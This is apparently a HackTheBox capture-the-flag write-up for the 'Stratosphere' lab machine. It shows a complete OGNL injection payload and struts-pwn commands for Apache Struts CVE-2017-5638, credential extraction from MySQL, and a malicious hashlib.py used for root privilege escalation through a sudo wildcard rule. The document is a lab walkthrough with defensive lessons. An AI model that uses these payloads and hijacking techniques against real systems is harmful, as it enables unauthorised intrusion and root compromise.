HTB: Stratosphere Writeup

Stratosphere - HackTheBox Writeup

Machine Information

AttributeDetails
NameStratosphere
OSLinux
DifficultyMedium
PointsN/A
Release DateN/A
IP Address10.10.10.64
Authorlinted

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐⭐⭐☆
  • CTF-like: ⭐⭐☆☆☆

Summary

Stratosphere is a Medium-difficulty Linux box that highlights a critical Apache Struts vulnerability (CVE-2017-5638) famously exploited in the 2017 Equifax breach. Initial access is obtained through OGNL injection in the Content-Type header, allowing command execution as the tomcat8 user. Credentials harvested from MySQL provide SSH access as user richard. Privilege escalation exploits a misconfigured sudo rule combined with Python library hijacking—creating a malicious hashlib.py module in the user’s home directory allows arbitrary code execution as root when a privileged script imports the library.

TL;DR: Apache Struts CVE-2017-5638 RCE → MySQL credential dump → SSH as richard → Python library hijacking via sudo NOPASSWD → root


Reconnaissance

Port Scanning

Terminal window
# Full TCP port scan with service detection
nmap -sC -sV -T4 -p- 10.10.10.64

Results:

  • 22/tcp - OpenSSH (version detection revealed standard SSH service)
  • 80/tcp - Apache Tomcat/HTTP (hosting web application)
  • 8080/tcp - Apache Tomcat (additional HTTP endpoint)

Service Enumeration

Web Application Analysis (Port 80/8080)

The Apache Tomcat server hosts the “Stratosphere” application. Directory fuzzing reveals a /Monitoring/ endpoint that redirects to:

http://10.10.10.64/Monitoring/example/Welcome.action

The .action extension is a characteristic signature of Apache Struts—a Java-based MVC framework for building enterprise web applications. This immediately suggests potential exploitation via known Struts vulnerabilities.

Vulnerability Assessment

Apache Struts - CVE-2017-5638 (Critical)

The presence of Apache Struts raises the possibility of CVE-2017-5638, a remote code execution vulnerability in the Jakarta Multipart parser. This flaw allows attackers to execute arbitrary commands via a malicious Content-Type header containing OGNL (Object-Graph Navigation Language) expressions. The vulnerability was infamously exploited in the 2017 Equifax data breach affecting 147 million consumers.

Key characteristics:

  • Affects Struts 2.3.5 through 2.3.31 and 2.5 through 2.5.10
  • Exploitable without authentication
  • Triggered during file upload parsing
  • CVSS Score: 10.0 (Critical)

Initial Foothold

Exploitation Path

CVE-2017-5638: Apache Struts OGNL Injection

The attack leverages the struts-pwn exploit tool, which automates the injection of OGNL expressions through the Content-Type header:

Terminal window
# Clone the exploit framework
git clone https://github.com/mazen160/struts-pwn
cd struts-pwn
# Test command execution
python struts-pwn.py --url 'http://10.10.10.64/Monitoring/example/Welcome.action' -c 'id'

How the exploit works:

The vulnerable Struts parser processes multipart form data and evaluates the Content-Type header. By injecting an OGNL expression like:

Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

The server evaluates the expression, executing arbitrary system commands. The output is written directly to the HTTP response stream.

Firewall constraints:

Initial reverse shell attempts failed—the target has egress filtering that blocks outbound connections. The solution is to operate entirely through command execution output:

Terminal window
# Directory enumeration reveals database configuration
python struts-pwn.py --url 'http://10.10.10.64/Monitoring/example/Welcome.action' -c 'ls -la /var/lib/tomcat8/'
# Read database connection file
python struts-pwn.py --url 'http://10.10.10.64/Monitoring/example/Welcome.action' -c 'cat /var/lib/tomcat8/db_connect'

Output:

[ssn_admin]
user=ssn_admin
pass=AWs64@on*&
[users]
user=admin
pass=admin

MySQL Credential Extraction

Two sets of credentials were discovered. The admin:admin credentials provide access to MySQL:

Terminal window
# Query the database for user accounts
python struts-pwn.py --url 'http://10.10.10.64/Monitoring/example/Welcome.action' \
-c 'mysql -u admin -padmin -e "use users; SELECT * FROM accounts;"'

MySQL Output:

fullName password username
Richard F. Smith 9tc*rhKuG5TyXvUJOrE^5CK7k richard

The password 9tc*rhKuG5TyXvUJOrE^5CK7k is a cleartext credential stored in the database.

SSH Access as Richard

Terminal window
# Authenticate with harvested credentials
ssh richard@10.10.10.64
# Password: 9tc*rhKuG5TyXvUJOrE^5CK7k

User flag capture:

Terminal window
richard@stratosphere:~$ cat user.txt
<redacted>

Privilege Escalation

Sudo Privileges Enumeration

Terminal window
richard@stratosphere:~$ sudo -l
Matching Defaults entries for richard on stratosphere:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User richard may run the following commands on stratosphere:
(ALL) NOPASSWD: /usr/bin/python* /home/richard/test.py

Analysis:

Richard can execute /home/richard/test.py as root using any Python interpreter (python* wildcard), without a password. However:

Terminal window
richard@stratosphere:~$ ls -la test.py
-rw-r--r-- 1 root root 1507 Mar 19 2018 test.py

The script is owned by root—richard cannot modify it directly.

Python Library Hijacking

Examining the privileged script:

Terminal window
richard@stratosphere:~$ cat test.py
#!/usr/bin/python3
import hashlib
def question():
q1 = input("Solve: <redacted>\n")
md5 = hashlib.md5()
md5.update(q1.encode())
if not md5.digest() == b']\xf0\x03\xe1\x00\xc8\t#\xec\x04\xd6Y3\xd3\x82\xcb':
print("Sorry, that's not right")
return
# ... continues with more challenges

Key vulnerability:

The script imports hashlib at the top. Python’s module resolution searches directories in this order:

  1. Current working directory (where the script is executed from)
  2. PYTHONPATH environment variable directories
  3. Standard library paths

Since sudo executes test.py from /home/richard/, creating a malicious hashlib.py in richard’s home directory causes Python to import the attacker-controlled module before the legitimate standard library module.

Exploitation:

# Create malicious hashlib.py in richard's home directory
richard@stratosphere:~$ cat > hashlib.py << 'EOF'
#!/usr/bin/python3
# Malicious hashlib module - executed at import time
import os
# Read the root flag
with open('/root/root.txt', 'r') as f:
flag = f.read()
print("ROOT FLAG: " + flag)
# Optional: spawn root shell
# os.system('/bin/bash')
EOF

Trigger the hijack:

Terminal window
richard@stratosphere:~$ sudo /usr/bin/python3 /home/richard/test.py

How it works:

  1. sudo executes test.py as root
  2. Python’s import statement import hashlib searches for the module
  3. /home/richard/hashlib.py is found before /usr/lib/python3.X/hashlib.py
  4. The malicious module executes with root privileges at import time (before test.py’s main code runs)
  5. Root flag is read and displayed

Output:

ROOT FLAG: <redacted>

Cleanup:

Terminal window
# Remove the malicious module
richard@stratosphere:~$ rm hashlib.py

Attack Chain Summary

Apache Struts CVE-2017-5638 (OGNL Injection) → RCE as tomcat8 →
MySQL credential extraction (admin:admin) → Database dump (richard's password) →
SSH as richard → sudo python wildcard + library hijacking →
Malicious hashlib.py import as root → Root flag

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
struts-pwnAutomated exploitation of CVE-2017-5638
mysql (via RCE)Database querying for credential extraction
sshRemote access with harvested credentials
Python library hijackingPrivilege escalation via import-time code execution

Key Learnings

Techniques Practiced

  • CVE-2017-5638 exploitation: Leveraging OGNL injection in Apache Struts through crafted Content-Type headers
  • Blind command execution: Operating without reverse shells due to egress filtering
  • Credential harvesting: Extracting database credentials from configuration files
  • SQL injection alternatives: Direct database queries via existing application access
  • Python import mechanics: Understanding module resolution order and search paths
  • Library hijacking: Exploiting CWD-first import behavior in scripting language interpreters
  • Sudo misconfigurations: Identifying and exploiting overly permissive NOPASSWD rules

Lessons Learned

  1. Framework identification is critical: The .action extension immediately indicated Apache Struts, narrowing the vulnerability search to a well-known CVE family. Understanding framework-specific artifacts accelerates enumeration.

  2. CVE-2017-5638 remains relevant: Despite being patched in 2017, this vulnerability persists in legacy systems. The Equifax breach demonstrated real-world impact—147 million records compromised due to delayed patching. Always check for Struts in enterprise Java environments.

  3. Egress filtering requires adaptation: When reverse shells fail, pivot to data exfiltration through command output, DNS queries, or HTTP requests. The ability to operate “blind” is essential for restrictive network environments.

  4. Configuration files are treasure troves: db_connect contained plaintext credentials. Always enumerate application directories (/var/lib/tomcat8/, /opt/, /srv/) for configuration files, connection strings, and API keys.

  5. Sudo wildcards expand attack surface: The /usr/bin/python* wildcard permitted any Python version. Combined with the inability to modify test.py, this appeared restrictive—but Python’s import behavior created an alternative path. When direct script modification fails, examine:

    • Imported modules (hijackable?)
    • Environment variables (injectable?)
    • Relative paths (controllable?)
  6. Import-time execution is powerful: Unlike functions that require calling, Python code at module-level executes immediately upon import. This makes library hijacking more reliable than exploiting specific function calls within the script.

  7. The current working directory matters: Many interpreted languages (Python, Perl, Ruby) prioritize CWD in their module search paths. If you control CWD when a privileged script runs, you can inject malicious libraries even without write access to system directories.

  8. Defense-in-depth applies to sudo: The principle of least privilege should extend to:

    • No wildcards in command specifications
    • Absolute paths for imported modules (Python’s -I flag disables CWD search)
    • Whitelisting specific interpreter versions rather than patterns
    • Read-only script directories owned by root with strict permissions

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • HackTheBox Official Writeup - Stratosphere (Document No D18.100.19) by Alexander Reid (Arrexel)
  • CVE-2017-5638: Apache Struts Remote Code Execution via Content-Type Header
  • struts-pwn - Automated exploitation framework by @mazen160